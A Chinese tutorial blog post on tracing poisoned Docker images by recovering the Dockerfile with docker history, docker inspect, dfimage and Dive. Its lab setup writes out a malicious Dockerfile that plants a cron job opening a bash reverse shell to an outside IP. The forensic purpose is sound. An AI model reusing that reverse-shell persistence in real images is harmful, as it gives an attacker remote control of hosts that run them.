码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • Docker镜像解析获取Dockerfile文件


    01、概述

    当涉及到容器镜像的安全时,特别是在出现镜像投毒引发的安全事件时,追溯镜像的来源和解析Dockerfile文件是应急事件处理的关键步骤。在这篇博客中,我们将探讨如何从镜像解析获取Dockerfile文件,这对容器安全至关重要。

    02、环境准备

    利用Dockfile构建一个反弹shell的恶意镜像:

    1. FROM ubuntu:20.04
    2. RUN apt-get update &&\
    3. apt-get install -y cron &&\
    4. (echo '* * * * * bash -c "bash -i >& /dev/tcp/192.168.99.242/12345 0>&1"'; crontab -l )| crontab
    5. ENTRYPOINT ["cron","-f","&&"]
    6. CMD ["/bin/bash"]

    03、镜像解析Dockerfile

    3.1 镜像文件解析

    在镜像的元数据信息中,到镜像构建所使用的 Dockerfile,可以成功解析 Docker 镜像并获取其 Dockerfile 内容,以了解镜像的构建过程和引入的软件包及配置。

    1. docker save -o test.tar test:v1.0
    2.  tar -xvf test.tar

    94b35d821cdd597fa6ad8bdbf60f7182.png

    3.2 docker命令参数

    使用docker history 命令查看指定镜像的创建历史,展示只能看到一部分,可以加上 --no-trunc,就可以看到全部信息。

    1. docker history test:v1.0
    2. docker history test:v1.0  --no-trunc

    2ebb1b446a5d68d1facf587bc6e0fd6a.gif

    使用docker inspect命令来查看Docker镜像的详细信息,通过--format参数可自行定义输出信息,获取镜像的配置信息。

    1. #查看镜像的配置信息
    2. docker inspect --format='{{json .Config}}' test:v1.0

    ef3f213963c0184b8e56523ce79001b5.png

    3.3 dfimage

    dfimage是一款第三方工具,可用来从镜像中提取 Dockerfile

    (1)生成快捷方式,使用dfimage可以输出很详细的 Dockerfile。

    1. alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
    2. dfimage -sV=1.36 test:v1.0

    055b7b7dce9b44d414243824b4469683.gif

    3.4 Docker镜像分析神器 Dive

    Dive是一款Docker镜像分析神器,分析和浏览 Docker 容器镜像内部,可以很详细的看到每一层文件的变化。

    1. alias dive="docker run -ti --rm -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive"
    2. dive test:v1.0

    3027be674d8ad7c78b6d934c2d500ee7.gif

  • 相关阅读:
    数码3C零售门店运营,智慧显示有何优势?以清远电信为例。
    python学习笔记1-SortedList的使用
    C# XML序列化与反序列化记录
    生命在于学习——docker逃逸
    抖音SEO矩阵系统源码开发搭建
    GIT简明命令
    二、Rocketmq-dashboard的web管理页面部署
    EvilAppleJuice(邪恶苹果汁)-ESP32C3项目(iphone疯狂弹窗)
    Hyperledger Fabric无排序组织以Raft共识算法启动多个Orderer服务、多组织共同运行维护Orderer服务
    KO之间互相调用
  • 原文地址:https://blog.csdn.net/qq_23936389/article/details/132749132
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号